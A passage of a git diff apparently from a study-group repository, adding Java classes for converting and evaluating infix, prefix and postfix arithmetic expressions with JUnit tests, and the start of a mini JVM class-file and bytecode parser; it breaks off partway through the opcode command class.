+				while(!stack.isEmpty() && token.hasHigherPriority(tokens.get(i))){
+					result.add((Token)stack.pop());
+				}
+				stack.push(tokens.get(i));
+			}
+		}
+		while (!stack.isEmpty()) {
+			// 最后看下操作符栈还有操作符没,有了加到集合末尾
+			result.add((Token) stack.pop());
+		}
+		return result;
+	}	
+	
+	
+	
+	public static void main(String[] args) {
+		List<Token> list = InfixToPostfix.convert("300*20+12*5-20/4");
+		Assert.assertEquals("[300, 20, *, 12, 5, *, +, 20, 4, /, -]", list.toString());
+	}
+}
\ No newline at end of file
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
new file mode 100644
index 0000000000..d824284eda
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
@@ -0,0 +1,54 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import org.junit.Assert;
+
+import com.coding.basic.stack.Stack;
+
+public class InfixToPrevfix {
+
+	public static List<Token> convert(String expr) {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+		return PrevOrderExpr(tokens);
+	}
+
+	public static List<Token> PrevOrderExpr(List<Token> tokens) {
+		List<Token> result = new ArrayList<Token>();
+		Stack operator = new Stack();
+		Stack num = new Stack();
+		for (int i = tokens.size() - 1; i >= 0; i--) {
+			if (tokens.get(i).isNumber()) {
+				num.push(tokens.get(i));
+			}
+			if (tokens.get(i).isOperator()) {
+				Token token = null;
+				if (!operator.isEmpty()) {
+					token = (Token) operator.peek();
+				}
+				while (!operator.isEmpty() && token.hasHigherPriority(tokens.get(i))) {
+					num.push((Token) operator.pop());
+				}
+				operator.push(tokens.get(i));
+			}
+		}
+		while(!operator.isEmpty()){
+			num.push(operator.pop());
+		}
+		while (!num.isEmpty()) {
+			result.add((Token) num.pop());
+		}
+		
+
+		return result;
+	}
+	
+	
+	public static void main(String[] args) {
+		List<Token> list = InfixToPrevfix.convert("300*20+12*5-20/4");
+		Assert.assertEquals("[+, *, 300, 20, -, *, 12, 5, /, 20, 4]", list.toString());
+	}
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..2040814b2c
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,55 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+
+public class PostfixExpr {
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		Stack<String> stack = new Stack<String>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse(expr);
+		for(Token token :tokens){
+			if(token.isNumber()){
+				stack.push(token.toString());
+			}
+			if(token.isOperator()){
+				int num1 = Integer.parseInt(stack.pop());
+				int num2 = Integer.parseInt(stack.pop());
+				String result = parseToResult(num1,num2,token.toString());
+				stack.push(result);
+			}
+		}
+		
+		
+		
+		return Float.parseFloat(stack.pop());
+	}
+	
+	private String parseToResult(int num1, int num2, String oper) {
+		// TODO Auto-generated method stub
+		String result = "";
+		if(oper.equals("*"))
+			result = (num1*num2)+"";
+		if(oper.equals("/"))
+			result = (num2/num1)+"";
+		if(oper.equals("+"))
+			result = (num1+num2)+"";
+		if(oper.equals("-"))
+			result = (num2-num1)+"";
+		return result;
+	}
+
+	public static void main(String[] args) {
+		//9+(3-1)*3+10/2
+		PostfixExpr pos = new PostfixExpr("9 3 1-3*+ 10 2/+");
+		float f =pos.evaluate();
+		System.out.println(f);
+	}
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..cc7efb5d40
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,36 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..c06a960bfe
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		Stack<String> stack = new Stack<String>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse(expr);
+		Collections.reverse(tokens);
+		for(Token token :tokens){
+			if(token.isNumber()){
+				stack.push(token.toString());
+			}
+			if(token.isOperator()){
+				int num1 = Integer.parseInt(stack.pop());
+				int num2 = Integer.parseInt(stack.pop());
+				String result = parseToResult(num1,num2,token.toString());
+				stack.push(result);
+			}
+		}
+		
+		return Float.parseFloat(stack.pop());
+	}
+	
+	
+	private String parseToResult(int num1, int num2, String oper) {
+		// TODO Auto-generated method stub
+		String result = "";
+		if(oper.equals("*"))
+			result = (num1*num2)+"";
+		if(oper.equals("/"))
+			result = (num1/num2)+"";
+		if(oper.equals("+"))
+			result = (num1+num2)+"";
+		if(oper.equals("-"))
+			result = (num1-num2)+"";
+		return result;
+	}
+	
+}
\ No newline at end of file
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..9cfaa64570
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,44 @@
+package com.coding.basic.stack.expr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..2d78610e7a
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack.expr;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..58ee229f9a
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,56 @@
+package com.coding.basic.stack.expr;
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..3562e42508
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack.expr;
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group27/383117348/src/com/coding/basic/stack/test/StackUtilTest.java b/group27/383117348/data-structure/com/coding/basic/stack/test/StackUtilTest.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/stack/test/StackUtilTest.java
rename to group27/383117348/data-structure/com/coding/basic/stack/test/StackUtilTest.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..85156946eb
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.attr;
+
+public class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..a47357ec09
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,108 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack;
+	private int maxLocals;
+	private int codeLen;
+	private String code;
+
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,
+			String code ,ByteCodeCommand[] cmds ) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;
+	}
+
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+		int attributeNameIndex = iter.nextU2Int();
+		int attributeLength = iter.nextU4Integer();
+		int maxStack = iter.nextU2Int();
+		int maxLocals = iter.nextU2Int();
+		int length = iter.nextU4Integer();
+		String code = iter.nextUxToHexString(length);
+		
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		
+
+		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, length, code,cmds);
+
+		int exceptionTableLength = iter.nextU2Int();
+		if (exceptionTableLength > 0) {
+			String exceptionTable = iter.nextUxToHexString(exceptionTableLength);
+			throw new RuntimeException("解析异常表异常:" + exceptionTable);
+		}
+
+		int attributesCount = iter.nextU2Int();
+		for (int i = 0; i < attributesCount; i++) {
+			int subAttributeNameIndex = iter.nextU2Int();
+			iter.back(2);
+
+			String subAttributeName = clzFile.getConstantPool().getUTF8String(subAttributeNameIndex);
+
+			if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LINE_NUM_TABLE)) {
+
+				LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(lineNumberTable);
+
+			} else if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LOCAL_VAR_TABLE)) {
+
+				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(localVariableTable);
+
+			} else {
+				throw new RuntimeException("解析subAttribute异常-subAttributeName:" + subAttributeName);
+			}
+
+		}
+
+		return codeAttr;
+	}
+
+	public String toString(ConstantPool pool) {
+		StringBuilder buffer = new StringBuilder();
+		// buffer.append("Code:").append(code).append("\n");
+		for (int i = 0; i < cmds.length; i++) {
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..8a5b17f7e2
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+	private static class LineNumberItem {
+		int startPC;
+		int lineNum;
+
+		public int getStartPC() {
+			return startPC;
+		}
+
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+
+		public int getLineNum() {
+			return lineNum;
+		}
+
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+
+	public void addLineNumberItem(LineNumberItem item) {
+		this.items.add(item);
+	}
+
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+
+	}
+
+	public static LineNumberTable parse(ByteCodeIterator iter) {
+		int attributeNameIndex = iter.nextU2Int();
+		int attributeLength = iter.nextU4Integer();
+		LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex, attributeLength);
+		
+		int lineNumberTableLength = iter.nextU2Int();
+		for (int i = 0; i < lineNumberTableLength; i++) {
+			LineNumberItem lineNumberItem = new LineNumberItem();
+			lineNumberItem.setStartPC(iter.nextU2Int());
+			lineNumberItem.setLineNum(iter.nextU2Int());
+			lineNumberTable.addLineNumberItem(lineNumberItem);
+		}
+
+		return lineNumberTable;
+	}
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..3eb2654e36
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..40495c9756
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo {
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+
+	public static LocalVariableTable parse(ByteCodeIterator iter) {
+		int attributeNameIndex = iter.nextU2Int();
+		int attributeLength = iter.nextU4Integer();
+
+		LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex, attributeLength);
+
+		int localVariableTableLength = iter.nextU2Int();
+		for (int i = 0; i < localVariableTableLength; i++) {
+			LocalVariableItem localVariableItem = new LocalVariableItem();
+			localVariableItem.setStartPC(iter.nextU2Int());
+			localVariableItem.setLength(iter.nextU2Int());
+			localVariableItem.setNameIndex(iter.nextU2Int());
+			localVariableItem.setDescIndex(iter.nextU2Int());
+			localVariableItem.setIndex(iter.nextU2Int());
+			localVariableTable.addLocalVariableItem(localVariableItem);
+		}
+
+		return localVariableTable;
+	}
+
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);
+	}
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..70387e2bb2
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2Int();
+		int len = iter.nextU4Integer();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group27/383117348/src/com/coderising/jvm/clz/AccessFlag.java b/group27/383117348/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/clz/AccessFlag.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..48c856053a
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,124 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+
+	}
+
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public void addField(Field f) {
+		this.fields.add(f);
+	}
+
+	public List<Field> getFields() {
+		return this.fields;
+	}
+
+	public void addMethod(Method m) {
+		this.methods.add(m);
+	}
+
+	public List<Method> getMethods() {
+		return methods;
+	}
+
+	public void print() {
+
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:" + getClassName());
+
+		System.out.println("Super Class Name:" + getSuperClassName());
+
+	}
+
+	public String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+
+	public String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+
+	public Method getMethod(String methodName, String paramAndReturnType) {
+		Method method = null;
+		for(Method m : methods){
+			String name = pool.getUTF8String(m.getNameIndex());
+			String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+			if(name.equalsIgnoreCase(methodName) && methodDesc.equalsIgnoreCase(paramAndReturnType)){
+				method = m;
+			}
+		}
+		return method;
+	}
+
+	public Method getMainMethod() {
+		Method method = null;
+		for(Method m : methods){
+			String name = pool.getUTF8String(m.getNameIndex());
+			if(name.equalsIgnoreCase("main")){
+				method = m;
+			}
+		}
+		return method;
+	}
+
+}
diff --git a/group27/383117348/src/com/coderising/jvm/clz/ClassIndex.java b/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/clz/ClassIndex.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..4006ca69e1
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
